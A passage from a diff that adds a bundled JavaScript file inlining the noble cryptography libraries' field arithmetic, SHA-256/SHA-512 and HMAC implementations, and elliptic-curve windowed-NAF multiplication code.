new Error("Cannot find square root: probably non-prime P"); + } + if (S === 1) + return sqrt3mod4; + let cc = _Fp.pow(Z, Q); + const Q1div2 = (Q + _1n2) / _2n; + return function tonelliSlow(Fp, n) { + if (Fp.is0(n)) + return n; + if (FpLegendre(Fp, n) !== 1) + throw new Error("Cannot find square root"); + let M = S; + let c = Fp.mul(Fp.ONE, cc); + let t = Fp.pow(n, Q); + let R = Fp.pow(n, Q1div2); + while (!Fp.eql(t, Fp.ONE)) { + if (Fp.is0(t)) + return Fp.ZERO; + let i = 1; + let t_tmp = Fp.sqr(t); + while (!Fp.eql(t_tmp, Fp.ONE)) { + i++; + t_tmp = Fp.sqr(t_tmp); + if (i === M) + throw new Error("Cannot find square root"); + } + const exponent = _1n2 << BigInt(M - i - 1); + const b = Fp.pow(c, exponent); + M = i; + c = Fp.sqr(b); + t = Fp.mul(t, c); + R = Fp.mul(R, b); + } + return R; + }; +} +function FpSqrt(P) { + if (P % _4n === _3n) + return sqrt3mod4; + if (P % _8n === _5n) + return sqrt5mod8; + if (P % _16n === _9n) + return sqrt9mod16(P); + return tonelliShanks(P); +} +var FIELD_FIELDS = [ + "create", + "isValid", + "is0", + "neg", + "inv", + "sqrt", + "sqr", + "eql", + "add", + "sub", + "mul", + "pow", + "div", + "addN", + "subN", + "mulN", + "sqrN" +]; +function validateField(field) { + const initial = { + ORDER: "bigint", + MASK: "bigint", + BYTES: "number", + BITS: "number" + }; + const opts = FIELD_FIELDS.reduce((map, val) => { + map[val] = "function"; + return map; + }, initial); + _validateObject(field, opts); + return field; +} +function FpPow(Fp, num, power) { + if (power < _0n2) + throw new Error("invalid exponent, negatives unsupported"); + if (power === _0n2) + return Fp.ONE; + if (power === _1n2) + return num; + let p = Fp.ONE; + let d = num; + while (power > _0n2) { + if (power & _1n2) + p = Fp.mul(p, d); + d = Fp.sqr(d); + power >>= _1n2; + } + return p; +} +function FpInvertBatch(Fp, nums, passZero = false) { + const inverted = new Array(nums.length).fill(passZero ? Fp.ZERO : undefined); + const multipliedAcc = nums.reduce((acc, num, i) => { + if (Fp.is0(num)) + return acc; + inverted[i] = acc; + return Fp.mul(acc, num); + }, Fp.ONE); + const invertedAcc = Fp.inv(multipliedAcc); + nums.reduceRight((acc, num, i) => { + if (Fp.is0(num)) + return acc; + inverted[i] = Fp.mul(acc, inverted[i]); + return Fp.mul(acc, num); + }, invertedAcc); + return inverted; +} +function FpLegendre(Fp, n) { + const p1mod2 = (Fp.ORDER - _1n2) / _2n; + const powered = Fp.pow(n, p1mod2); + const yes = Fp.eql(powered, Fp.ONE); + const zero = Fp.eql(powered, Fp.ZERO); + const no = Fp.eql(powered, Fp.neg(Fp.ONE)); + if (!yes && !zero && !no) + throw new Error("invalid Legendre symbol result"); + return yes ? 1 : zero ? 0 : -1; +} +function nLength(n, nBitLength) { + if (nBitLength !== undefined) + anumber(nBitLength); + const _nBitLength = nBitLength !== undefined ? nBitLength : n.toString(2).length; + const nByteLength = Math.ceil(_nBitLength / 8); + return { nBitLength: _nBitLength, nByteLength }; +} +function Field(ORDER, bitLenOrOpts, isLE2 = false, opts = {}) { + if (ORDER <= _0n2) + throw new Error("invalid field: expected ORDER > 0, got " + ORDER); + let _nbitLength = undefined; + let _sqrt = undefined; + let modFromBytes = false; + let allowedLengths = undefined; + if (typeof bitLenOrOpts === "object" && bitLenOrOpts != null) { + if (opts.sqrt || isLE2) + throw new Error("cannot specify opts in two arguments"); + const _opts = bitLenOrOpts; + if (_opts.BITS) + _nbitLength = _opts.BITS; + if (_opts.sqrt) + _sqrt = _opts.sqrt; + if (typeof _opts.isLE === "boolean") + isLE2 = _opts.isLE; + if (typeof _opts.modFromBytes === "boolean") + modFromBytes = _opts.modFromBytes; + allowedLengths = _opts.allowedLengths; + } else { + if (typeof bitLenOrOpts === "number") + _nbitLength = bitLenOrOpts; + if (opts.sqrt) + _sqrt = opts.sqrt; + } + const { nBitLength: BITS, nByteLength: BYTES } = nLength(ORDER, _nbitLength); + if (BYTES > 2048) + throw new Error("invalid field: expected ORDER of <= 2048 bytes"); + let sqrtP; + const f = Object.freeze({ + ORDER, + isLE: isLE2, + BITS, + BYTES, + MASK: bitMask(BITS), + ZERO: _0n2, + ONE: _1n2, + allowedLengths, + create: (num) => mod(num, ORDER), + isValid: (num) => { + if (typeof num !== "bigint") + throw new Error("invalid field element: expected bigint, got " + typeof num); + return _0n2 <= num && num < ORDER; + }, + is0: (num) => num === _0n2, + isValidNot0: (num) => !f.is0(num) && f.isValid(num), + isOdd: (num) => (num & _1n2) === _1n2, + neg: (num) => mod(-num, ORDER), + eql: (lhs, rhs) => lhs === rhs, + sqr: (num) => mod(num * num, ORDER), + add: (lhs, rhs) => mod(lhs + rhs, ORDER), + sub: (lhs, rhs) => mod(lhs - rhs, ORDER), + mul: (lhs, rhs) => mod(lhs * rhs, ORDER), + pow: (num, power) => FpPow(f, num, power), + div: (lhs, rhs) => mod(lhs * invert(rhs, ORDER), ORDER), + sqrN: (num) => num * num, + addN: (lhs, rhs) => lhs + rhs, + subN: (lhs, rhs) => lhs - rhs, + mulN: (lhs, rhs) => lhs * rhs, + inv: (num) => invert(num, ORDER), + sqrt: _sqrt || ((n) => { + if (!sqrtP) + sqrtP = FpSqrt(ORDER); + return sqrtP(f, n); + }), + toBytes: (num) => isLE2 ? numberToBytesLE(num, BYTES) : numberToBytesBE(num, BYTES), + fromBytes: (bytes, skipValidation = true) => { + if (allowedLengths) { + if (!allowedLengths.includes(bytes.length) || bytes.length > BYTES) { + throw new Error("Field.fromBytes: expected " + allowedLengths + " bytes, got " + bytes.length); + } + const padded = new Uint8Array(BYTES); + padded.set(bytes, isLE2 ? 0 : padded.length - bytes.length); + bytes = padded; + } + if (bytes.length !== BYTES) + throw new Error("Field.fromBytes: expected " + BYTES + " bytes, got " + bytes.length); + let scalar = isLE2 ? bytesToNumberLE(bytes) : bytesToNumberBE(bytes); + if (modFromBytes) + scalar = mod(scalar, ORDER); + if (!skipValidation) { + if (!f.isValid(scalar)) + throw new Error("invalid field element: outside of range 0..ORDER"); + } + return scalar; + }, + invertBatch: (lst) => FpInvertBatch(f, lst), + cmov: (a, b, c) => c ? b : a + }); + return Object.freeze(f); +} +function getFieldBytesLength(fieldOrder) { + if (typeof fieldOrder !== "bigint") + throw new Error("field order must be bigint"); + const bitLength = fieldOrder.toString(2).length; + return Math.ceil(bitLength / 8); +} +function getMinHashLength(fieldOrder) { + const length = getFieldBytesLength(fieldOrder); + return length + Math.ceil(length / 2); +} +function mapHashToField(key, fieldOrder, isLE2 = false) { + const len = key.length; + const fieldLen = getFieldBytesLength(fieldOrder); + const minLen = getMinHashLength(fieldOrder); + if (len < 16 || len < minLen || len > 1024) + throw new Error("expected " + minLen + "-1024 bytes of input, got " + len); + const num = isLE2 ? bytesToNumberLE(key) : bytesToNumberBE(key); + const reduced = mod(num, fieldOrder - _1n2) + _1n2; + return isLE2 ? numberToBytesLE(reduced, fieldLen) : numberToBytesBE(reduced, fieldLen); +} + +// node_modules/@noble/hashes/esm/_md.js +function setBigUint64(view, byteOffset, value, isLE2) { + if (typeof view.setBigUint64 === "function") + return view.setBigUint64(byteOffset, value, isLE2); + const _32n = BigInt(32); + const _u32_max = BigInt(4294967295); + const wh = Number(value >> _32n & _u32_max); + const wl = Number(value & _u32_max); + const h = isLE2 ? 4 : 0; + const l = isLE2 ? 0 : 4; + view.setUint32(byteOffset + h, wh, isLE2); + view.setUint32(byteOffset + l, wl, isLE2); +} +function Chi(a, b, c) { + return a & b ^ ~a & c; +} +function Maj(a, b, c) { + return a & b ^ a & c ^ b & c; +} + +class HashMD extends Hash { + constructor(blockLen, outputLen, padOffset, isLE2) { + super(); + this.finished = false; + this.length = 0; + this.pos = 0; + this.destroyed = false; + this.blockLen = blockLen; + this.outputLen = outputLen; + this.padOffset = padOffset; + this.isLE = isLE2; + this.buffer = new Uint8Array(blockLen); + this.view = createView(this.buffer); + } + update(data) { + aexists(this); + data = toBytes(data); + abytes(data); + const { view, buffer, blockLen } = this; + const len = data.length; + for (let pos = 0;pos < len; ) { + const take = Math.min(blockLen - this.pos, len - pos); + if (take === blockLen) { + const dataView = createView(data); + for (;blockLen <= len - pos; pos += blockLen) + this.process(dataView, pos); + continue; + } + buffer.set(data.subarray(pos, pos + take), this.pos); + this.pos += take; + pos += take; + if (this.pos === blockLen) { + this.process(view, 0); + this.pos = 0; + } + } + this.length += data.length; + this.roundClean(); + return this; + } + digestInto(out) { + aexists(this); + aoutput(out, this); + this.finished = true; + const { buffer, view, blockLen, isLE: isLE2 } = this; + let { pos } = this; + buffer[pos++] = 128; + clean(this.buffer.subarray(pos)); + if (this.padOffset > blockLen - pos) { + this.process(view, 0); + pos = 0; + } + for (let i = pos;i < blockLen; i++) + buffer[i] = 0; + setBigUint64(view, blockLen - 8, BigInt(this.length * 8), isLE2); + this.process(view, 0); + const oview = createView(out); + const len = this.outputLen; + if (len % 4) + throw new Error("_sha2: outputLen should be aligned to 32bit"); + const outLen = len / 4; + const state = this.get(); + if (outLen > state.length) + throw new Error("_sha2: outputLen bigger than state"); + for (let i = 0;i < outLen; i++) + oview.setUint32(4 * i, state[i], isLE2); + } + digest() { + const { buffer, outputLen } = this; + this.digestInto(buffer); + const res = buffer.slice(0, outputLen); + this.destroy(); + return res; + } + _cloneInto(to) { + to || (to = new this.constructor); + to.set(...this.get()); + const { blockLen, buffer, length, finished, destroyed, pos } = this; + to.destroyed = destroyed; + to.finished = finished; + to.length = length; + to.pos = pos; + if (length % blockLen) + to.buffer.set(buffer); + return to; + } + clone() { + return this._cloneInto(); + } +} +var SHA256_IV = /* @__PURE__ */ Uint32Array.from([ + 1779033703, + 3144134277, + 1013904242, + 2773480762, + 1359893119, + 2600822924, + 528734635, + 1541459225 +]); +var SHA512_IV = /* @__PURE__ */ Uint32Array.from([ + 1779033703, + 4089235720, + 3144134277, + 2227873595, + 1013904242, + 4271175723, + 2773480762, + 1595750129, + 1359893119, + 2917565137, + 2600822924, + 725511199, + 528734635, + 4215389547, + 1541459225, + 327033209 +]); + +// node_modules/@noble/hashes/esm/_u64.js +var U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1); +var _32n = /* @__PURE__ */ BigInt(32); +function fromBig(n, le = false) { + if (le) + return { h: Number(n & U32_MASK64), l: Number(n >> _32n & U32_MASK64) }; + return { h: Number(n >> _32n & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 }; +} +function split(lst, le = false) { + const len = lst.length; + let Ah = new Uint32Array(len); + let Al = new Uint32Array(len); + for (let i = 0;i < len; i++) { + const { h, l } = fromBig(lst[i], le); + [Ah[i], Al[i]] = [h, l]; + } + return [Ah, Al]; +} +var shrSH = (h, _l, s) => h >>> s; +var shrSL = (h, l, s) => h << 32 - s | l >>> s; +var rotrSH = (h, l, s) => h >>> s | l << 32 - s; +var rotrSL = (h, l, s) => h << 32 - s | l >>> s; +var rotrBH = (h, l, s) => h << 64 - s | l >>> s - 32; +var rotrBL = (h, l, s) => h >>> s - 32 | l << 64 - s; +var rotlSH = (h, l, s) => h << s | l >>> 32 - s; +var rotlSL = (h, l, s) => l << s | h >>> 32 - s; +var rotlBH = (h, l, s) => l << s - 32 | h >>> 64 - s; +var rotlBL = (h, l, s) => h << s - 32 | l >>> 64 - s; +function add(Ah, Al, Bh, Bl) { + const l = (Al >>> 0) + (Bl >>> 0); + return { h: Ah + Bh + (l / 2 ** 32 | 0) | 0, l: l | 0 }; +} +var add3L = (Al, Bl, Cl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0); +var add3H = (low, Ah, Bh, Ch) => Ah + Bh + Ch + (low / 2 ** 32 | 0) | 0; +var add4L = (Al, Bl, Cl, Dl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0); +var add4H = (low, Ah, Bh, Ch, Dh) => Ah + Bh + Ch + Dh + (low / 2 ** 32 | 0) | 0; +var add5L = (Al, Bl, Cl, Dl, El) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0) + (El >>> 0); +var add5H = (low, Ah, Bh, Ch, Dh, Eh) => Ah + Bh + Ch + Dh + Eh + (low / 2 ** 32 | 0) | 0; + +// node_modules/@noble/hashes/esm/sha2.js +var SHA256_K = /* @__PURE__ */ Uint32Array.from([ + 1116352408, + 1899447441, + 3049323471, + 3921009573, + 961987163, + 1508970993, + 2453635748, + 2870763221, + 3624381080, + 310598401, + 607225278, + 1426881987, + 1925078388, + 2162078206, + 2614888103, + 3248222580, + 3835390401, + 4022224774, + 264347078, + 604807628, + 770255983, + 1249150122, + 1555081692, + 1996064986, + 2554220882, + 2821834349, + 2952996808, + 3210313671, + 3336571891, + 3584528711, + 113926993, + 338241895, + 666307205, + 773529912, + 1294757372, + 1396182291, + 1695183700, + 1986661051, + 2177026350, + 2456956037, + 2730485921, + 2820302411, + 3259730800, + 3345764771, + 3516065817, + 3600352804, + 4094571909, + 275423344, + 430227734, + 506948616, + 659060556, + 883997877, + 958139571, + 1322822218, + 1537002063, + 1747873779, + 1955562222, + 2024104815, + 2227730452, + 2361852424, + 2428436474, + 2756734187, + 3204031479, + 3329325298 +]); +var SHA256_W = /* @__PURE__ */ new Uint32Array(64); + +class SHA256 extends HashMD { + constructor(outputLen = 32) { + super(64, outputLen, 8, false); + this.A = SHA256_IV[0] | 0; + this.B = SHA256_IV[1] | 0; + this.C = SHA256_IV[2] | 0; + this.D = SHA256_IV[3] | 0; + this.E = SHA256_IV[4] | 0; + this.F = SHA256_IV[5] | 0; + this.G = SHA256_IV[6] | 0; + this.H = SHA256_IV[7] | 0; + } + get() { + const { A, B, C, D, E, F, G, H } = this; + return [A, B, C, D, E, F, G, H]; + } + set(A, B, C, D, E, F, G, H) { + this.A = A | 0; + this.B = B | 0; + this.C = C | 0; + this.D = D | 0; + this.E = E | 0; + this.F = F | 0; + this.G = G | 0; + this.H = H | 0; + } + process(view, offset) { + for (let i = 0;i < 16; i++, offset += 4) + SHA256_W[i] = view.getUint32(offset, false); + for (let i = 16;i < 64; i++) { + const W15 = SHA256_W[i - 15]; + const W2 = SHA256_W[i - 2]; + const s0 = rotr(W15, 7) ^ rotr(W15, 18) ^ W15 >>> 3; + const s1 = rotr(W2, 17) ^ rotr(W2, 19) ^ W2 >>> 10; + SHA256_W[i] = s1 + SHA256_W[i - 7] + s0 + SHA256_W[i - 16] | 0; + } + let { A, B, C, D, E, F, G, H } = this; + for (let i = 0;i < 64; i++) { + const sigma1 = rotr(E, 6) ^ rotr(E, 11) ^ rotr(E, 25); + const T1 = H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i] | 0; + const sigma0 = rotr(A, 2) ^ rotr(A, 13) ^ rotr(A, 22); + const T2 = sigma0 + Maj(A, B, C) | 0; + H = G; + G = F; + F = E; + E = D + T1 | 0; + D = C; + C = B; + B = A; + A = T1 + T2 | 0; + } + A = A + this.A | 0; + B = B + this.B | 0; + C = C + this.C | 0; + D = D + this.D | 0; + E = E + this.E | 0; + F = F + this.F | 0; + G = G + this.G | 0; + H = H + this.H | 0; + this.set(A, B, C, D, E, F, G, H); + } + roundClean() { + clean(SHA256_W); + } + destroy() { + this.set(0, 0, 0, 0, 0, 0, 0, 0); + clean(this.buffer); + } +} +var K512 = /* @__PURE__ */ (() => split([ + "0x428a2f98d728ae22", + "0x7137449123ef65cd", + "0xb5c0fbcfec4d3b2f", + "0xe9b5dba58189dbbc", + "0x3956c25bf348b538", + "0x59f111f1b605d019", + "0x923f82a4af194f9b", + "0xab1c5ed5da6d8118", + "0xd807aa98a3030242", + "0x12835b0145706fbe", + "0x243185be4ee4b28c", + "0x550c7dc3d5ffb4e2", + "0x72be5d74f27b896f", + "0x80deb1fe3b1696b1", + "0x9bdc06a725c71235", + "0xc19bf174cf692694", + "0xe49b69c19ef14ad2", + "0xefbe4786384f25e3", + "0x0fc19dc68b8cd5b5", + "0x240ca1cc77ac9c65", + "0x2de92c6f592b0275", + "0x4a7484aa6ea6e483", + "0x5cb0a9dcbd41fbd4", + "0x76f988da831153b5", + "0x983e5152ee66dfab", + "0xa831c66d2db43210", + "0xb00327c898fb213f", + "0xbf597fc7beef0ee4", + "0xc6e00bf33da88fc2", + "0xd5a79147930aa725", + "0x06ca6351e003826f", + "0x142929670a0e6e70", + "0x27b70a8546d22ffc", + "0x2e1b21385c26c926", + "0x4d2c6dfc5ac42aed", + "0x53380d139d95b3df", + "0x650a73548baf63de", + "0x766a0abb3c77b2a8", + "0x81c2c92e47edaee6", + "0x92722c851482353b", + "0xa2bfe8a14cf10364", + "0xa81a664bbc423001", + "0xc24b8b70d0f89791", + "0xc76c51a30654be30", + "0xd192e819d6ef5218", + "0xd69906245565a910", + "0xf40e35855771202a", + "0x106aa07032bbd1b8", + "0x19a4c116b8d2d0c8", + "0x1e376c085141ab53", + "0x2748774cdf8eeb99", + "0x34b0bcb5e19b48a8", + "0x391c0cb3c5c95a63", + "0x4ed8aa4ae3418acb", + "0x5b9cca4f7763e373", + "0x682e6ff3d6b2b8a3", + "0x748f82ee5defb2fc", + "0x78a5636f43172f60", + "0x84c87814a1f0ab72", + "0x8cc702081a6439ec", + "0x90befffa23631e28", + "0xa4506cebde82bde9", + "0xbef9a3f7b2c67915", + "0xc67178f2e372532b", + "0xca273eceea26619c", + "0xd186b8c721c0c207", + "0xeada7dd6cde0eb1e", + "0xf57d4f7fee6ed178", + "0x06f067aa72176fba", + "0x0a637dc5a2c898a6", + "0x113f9804bef90dae", + "0x1b710b35131c471b", + "0x28db77f523047d84", + "0x32caab7b40c72493", + "0x3c9ebe0a15c9bebc", + "0x431d67c49c100d4c", + "0x4cc5d4becb3e42b6", + "0x597f299cfc657e2a", + "0x5fcb6fab3ad6faec", + "0x6c44198c4a475817" +].map((n) => BigInt(n))))(); +var SHA512_Kh = /* @__PURE__ */ (() => K512[0])(); +var SHA512_Kl = /* @__PURE__ */ (() => K512[1])(); +var SHA512_W_H = /* @__PURE__ */ new Uint32Array(80); +var SHA512_W_L = /* @__PURE__ */ new Uint32Array(80); + +class SHA512 extends HashMD { + constructor(outputLen = 64) { + super(128, outputLen, 16, false); + this.Ah = SHA512_IV[0] | 0; + this.Al = SHA512_IV[1] | 0; + this.Bh = SHA512_IV[2] | 0; + this.Bl = SHA512_IV[3] | 0; + this.Ch = SHA512_IV[4] | 0; + this.Cl = SHA512_IV[5] | 0; + this.Dh = SHA512_IV[6] | 0; + this.Dl = SHA512_IV[7] | 0; + this.Eh = SHA512_IV[8] | 0; + this.El = SHA512_IV[9] | 0; + this.Fh = SHA512_IV[10] | 0; + this.Fl = SHA512_IV[11] | 0; + this.Gh = SHA512_IV[12] | 0; + this.Gl = SHA512_IV[13] | 0; + this.Hh = SHA512_IV[14] | 0; + this.Hl = SHA512_IV[15] | 0; + } + get() { + const { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + return [Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl]; + } + set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl) { + this.Ah = Ah | 0; + this.Al = Al | 0; + this.Bh = Bh | 0; + this.Bl = Bl | 0; + this.Ch = Ch | 0; + this.Cl = Cl | 0; + this.Dh = Dh | 0; + this.Dl = Dl | 0; + this.Eh = Eh | 0; + this.El = El | 0; + this.Fh = Fh | 0; + this.Fl = Fl | 0; + this.Gh = Gh | 0; + this.Gl = Gl | 0; + this.Hh = Hh | 0; + this.Hl = Hl | 0; + } + process(view, offset) { + for (let i = 0;i < 16; i++, offset += 4) { + SHA512_W_H[i] = view.getUint32(offset); + SHA512_W_L[i] = view.getUint32(offset += 4); + } + for (let i = 16;i < 80; i++) { + const W15h = SHA512_W_H[i - 15] | 0; + const W15l = SHA512_W_L[i - 15] | 0; + const s0h = rotrSH(W15h, W15l, 1) ^ rotrSH(W15h, W15l, 8) ^ shrSH(W15h, W15l, 7); + const s0l = rotrSL(W15h, W15l, 1) ^ rotrSL(W15h, W15l, 8) ^ shrSL(W15h, W15l, 7); + const W2h = SHA512_W_H[i - 2] | 0; + const W2l = SHA512_W_L[i - 2] | 0; + const s1h = rotrSH(W2h, W2l, 19) ^ rotrBH(W2h, W2l, 61) ^ shrSH(W2h, W2l, 6); + const s1l = rotrSL(W2h, W2l, 19) ^ rotrBL(W2h, W2l, 61) ^ shrSL(W2h, W2l, 6); + const SUMl = add4L(s0l, s1l, SHA512_W_L[i - 7], SHA512_W_L[i - 16]); + const SUMh = add4H(SUMl, s0h, s1h, SHA512_W_H[i - 7], SHA512_W_H[i - 16]); + SHA512_W_H[i] = SUMh | 0; + SHA512_W_L[i] = SUMl | 0; + } + let { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + for (let i = 0;i < 80; i++) { + const sigma1h = rotrSH(Eh, El, 14) ^ rotrSH(Eh, El, 18) ^ rotrBH(Eh, El, 41); + const sigma1l = rotrSL(Eh, El, 14) ^ rotrSL(Eh, El, 18) ^ rotrBL(Eh, El, 41); + const CHIh = Eh & Fh ^ ~Eh & Gh; + const CHIl = El & Fl ^ ~El & Gl; + const T1ll = add5L(Hl, sigma1l, CHIl, SHA512_Kl[i], SHA512_W_L[i]); + const T1h = add5H(T1ll, Hh, sigma1h, CHIh, SHA512_Kh[i], SHA512_W_H[i]); + const T1l = T1ll | 0; + const sigma0h = rotrSH(Ah, Al, 28) ^ rotrBH(Ah, Al, 34) ^ rotrBH(Ah, Al, 39); + const sigma0l = rotrSL(Ah, Al, 28) ^ rotrBL(Ah, Al, 34) ^ rotrBL(Ah, Al, 39); + const MAJh = Ah & Bh ^ Ah & Ch ^ Bh & Ch; + const MAJl = Al & Bl ^ Al & Cl ^ Bl & Cl; + Hh = Gh | 0; + Hl = Gl | 0; + Gh = Fh | 0; + Gl = Fl | 0; + Fh = Eh | 0; + Fl = El | 0; + ({ h: Eh, l: El } = add(Dh | 0, Dl | 0, T1h | 0, T1l | 0)); + Dh = Ch | 0; + Dl = Cl | 0; + Ch = Bh | 0; + Cl = Bl | 0; + Bh = Ah | 0; + Bl = Al | 0; + const All = add3L(T1l, sigma0l, MAJl); + Ah = add3H(All, T1h, sigma0h, MAJh); + Al = All | 0; + } + ({ h: Ah, l: Al } = add(this.Ah | 0, this.Al | 0, Ah | 0, Al | 0)); + ({ h: Bh, l: Bl } = add(this.Bh | 0, this.Bl | 0, Bh | 0, Bl | 0)); + ({ h: Ch, l: Cl } = add(this.Ch | 0, this.Cl | 0, Ch | 0, Cl | 0)); + ({ h: Dh, l: Dl } = add(this.Dh | 0, this.Dl | 0, Dh | 0, Dl | 0)); + ({ h: Eh, l: El } = add(this.Eh | 0, this.El | 0, Eh | 0, El | 0)); + ({ h: Fh, l: Fl } = add(this.Fh | 0, this.Fl | 0, Fh | 0, Fl | 0)); + ({ h: Gh, l: Gl } = add(this.Gh | 0, this.Gl | 0, Gh | 0, Gl | 0)); + ({ h: Hh, l: Hl } = add(this.Hh | 0, this.Hl | 0, Hh | 0, Hl | 0)); + this.set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl); + } + roundClean() { + clean(SHA512_W_H, SHA512_W_L); + } + destroy() { + clean(this.buffer); + this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + } +} +var sha256 = /* @__PURE__ */ createHasher(() => new SHA256); +var sha512 = /* @__PURE__ */ createHasher(() => new SHA512); + +// node_modules/@noble/hashes/esm/hmac.js +class HMAC extends Hash { + constructor(hash, _key) { + super(); + this.finished = false; + this.destroyed = false; + ahash(hash); + const key = toBytes(_key); + this.iHash = hash.create(); + if (typeof this.iHash.update !== "function") + throw new Error("Expected instance of class which extends utils.Hash"); + this.blockLen = this.iHash.blockLen; + this.outputLen = this.iHash.outputLen; + const blockLen = this.blockLen; + const pad = new Uint8Array(blockLen); + pad.set(key.length > blockLen ? hash.create().update(key).digest() : key); + for (let i = 0;i < pad.length; i++) + pad[i] ^= 54; + this.iHash.update(pad); + this.oHash = hash.create(); + for (let i = 0;i < pad.length; i++) + pad[i] ^= 54 ^ 92; + this.oHash.update(pad); + clean(pad); + } + update(buf) { + aexists(this); + this.iHash.update(buf); + return this; + } + digestInto(out) { + aexists(this); + abytes(out, this.outputLen); + this.finished = true; + this.iHash.digestInto(out); + this.oHash.update(out); + this.oHash.digestInto(out); + this.destroy(); + } + digest() { + const out = new Uint8Array(this.oHash.outputLen); + this.digestInto(out); + return out; + } + _cloneInto(to) { + to || (to = Object.create(Object.getPrototypeOf(this), {})); + const { oHash, iHash, finished, destroyed, blockLen, outputLen } = this; + to = to; + to.finished = finished; + to.destroyed = destroyed; + to.blockLen = blockLen; + to.outputLen = outputLen; + to.oHash = oHash._cloneInto(to.oHash); + to.iHash = iHash._cloneInto(to.iHash); + return to; + } + clone() { + return this._cloneInto(); + } + destroy() { + this.destroyed = true; + this.oHash.destroy(); + this.iHash.destroy(); + } +} +var hmac = (hash, key, message) => new HMAC(hash, key).update(message).digest(); +hmac.create = (hash, key) => new HMAC(hash, key); + +// node_modules/@noble/curves/esm/abstract/curve.js +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +var _0n3 = BigInt(0); +var _1n3 = BigInt(1); +function negateCt(condition, item) { + const neg = item.negate(); + return condition ? neg : item; +} +function normalizeZ(c, points) { + const invertedZs = FpInvertBatch(c.Fp, points.map((p) => p.Z)); + return points.map((p, i) => c.fromAffine(p.toAffine(invertedZs[i]))); +} +function validateW(W, bits) { + if (!Number.isSafeInteger(W) || W <= 0 || W > bits) + throw new Error("invalid window size, expected [1.." + bits + "], got W=" + W); +} +function calcWOpts(W, scalarBits) { + validateW(W, scalarBits); + const windows = Math.ceil(scalarBits / W) + 1; + const windowSize = 2 ** (W - 1); + const maxNumber = 2 ** W; + const mask = bitMask(W); + const shiftBy = BigInt(W); + return { windows, windowSize, mask, maxNumber, shiftBy }; +} +function calcOffsets(n, window, wOpts) { + const { windowSize, mask, maxNumber, shiftBy } = wOpts; + let wbits = Number(n & mask); + let nextN = n >> shiftBy; + if (wbits > windowSize) { + wbits -= maxNumber; + nextN += _1n3; + } + const offsetStart = window * windowSize; + const offset = offsetStart + Math.abs(wbits) - 1; + const isZero = wbits === 0; + const isNeg = wbits < 0; + const isNegF = window % 2 !== 0; + const offsetF = offsetStart; + return { nextN, offset, isZero, isNeg, isNegF, offsetF }; +} +function validateMSMPoints(points, c) { + if (!Array.isArray(points)) + throw new Error("array expected"); + points.forEach((p, i) => { + if (!(p instanceof c)) + throw new Error("invalid point at index " + i); + }); +} +function validateMSMScalars(scalars, field) { + if (!Array.isArray(scalars)) + throw new Error("array of scalars expected"); + scalars.forEach((s, i) => { + if (!field.isValid(s)) + throw new Error("invalid scalar at index " + i); + }); +} +var pointPrecomputes = new WeakMap; +var pointWindowSizes = new WeakMap; +function getW(P) { + return pointWindowSizes.get(P) || 1; +} +function assert0(n) { + if (n !== _0n3) + throw new Error("invalid wNAF"); +} + +class wNAF { + constructor(Point, bits) { + this.BASE = Point.BASE; + this.ZERO = Point.ZERO; + this.Fn = Point.Fn; + this.bits = bits; + } + _unsafeLadder(elm, n, p = this.ZERO) { + let d = elm; + while (n > _0n3) { + if (n & _1n3) + p = p.add(d); + d = d.double(); + n >>= _1n3; + } + return p; + } + precomputeWindow(point, W) { + const { windows, windowSize } = calcWOpts(W, this.bits); + const points = []; + let p = point; + let base = p; + for (let window = 0;window < windows; window++) { + base = p; + points.push(base); + for (let i = 1;i < windowSize; i++) { + base = base.add(p); + points.push(base); + } + p = base.double(); + } + return points; + } + wNAF(W, precomputes, n) { + if (!this.Fn.isValid(n)) + throw new Error("invalid scalar"); + let p = this.ZERO; + let f = this.BASE; + const wo = calcWOpts(W, this.bits); + for (let window = 0;window < wo.windows; window++) { + const { nextN, offset, isZero, isNeg, isNegF, offsetF } = calcOffsets(n, window, wo); + n = nextN; + if (isZero) { + f = f.add(negateCt(isNegF, precomputes[offsetF])); + } else { + p = p.add(negateCt(isNeg, precomputes[offset])); + } + } + assert0(n); + return { p, f }; + } + wNAFUnsafe(W, precomputes, n, acc = this.ZERO) { + const wo = calcWOpts(W, this.bits); + for (let window = 0;window < wo.windows; window++) { + if (n === _0n3) + break; + const { nextN, offset, isZero, isNeg } = calcOffsets(n, window, wo); + n = nextN; + if (isZero) { + continue; + } else { + const item = precomputes[offset]; + acc = acc.add(isNeg ? item.negate() : item); + } + } + assert0(n); + return acc; + } + getPrecomputes(W, point, transform) { + let comp = pointPrecomputes.get(point); + if (!comp) { + comp = this.precomputeWindow(point, W); + if (W !== 1) { + if (typeof transform === "function") + comp = transform(comp); + pointPrecomputes.set(point, comp); + } + } + return comp; + } + cached(point, scalar, transform) { + const W = getW(point); + return this.wNAF(W, this.getPrecomputes(W, point, transform), scalar); + } + unsafe(point, scalar, transform, prev) { + const W = getW(point); + if (W === 1) + return this._unsafeLadder(point, scalar, prev); + return this.wNAFUnsafe(W, this.getPrecomputes(W, point, transform), scalar, prev); + } + createCache(P, W) { + validateW(W, this.bits); + pointWindowSizes.set(P, W); + pointPrecomputes.delete(P); + } + hasCache(elm) { + return getW(elm) !== 1; + } +} +function mulEndoUnsafe(Point, point, k1, k2) { + let acc = point; + let p1 = Point.ZERO; + let p2 = Point.ZERO; + while (k1 > _0n3 || k2 > _0n3) { + if (k1 & _1n3) + p1 = p1.add(acc); + if (k2 & 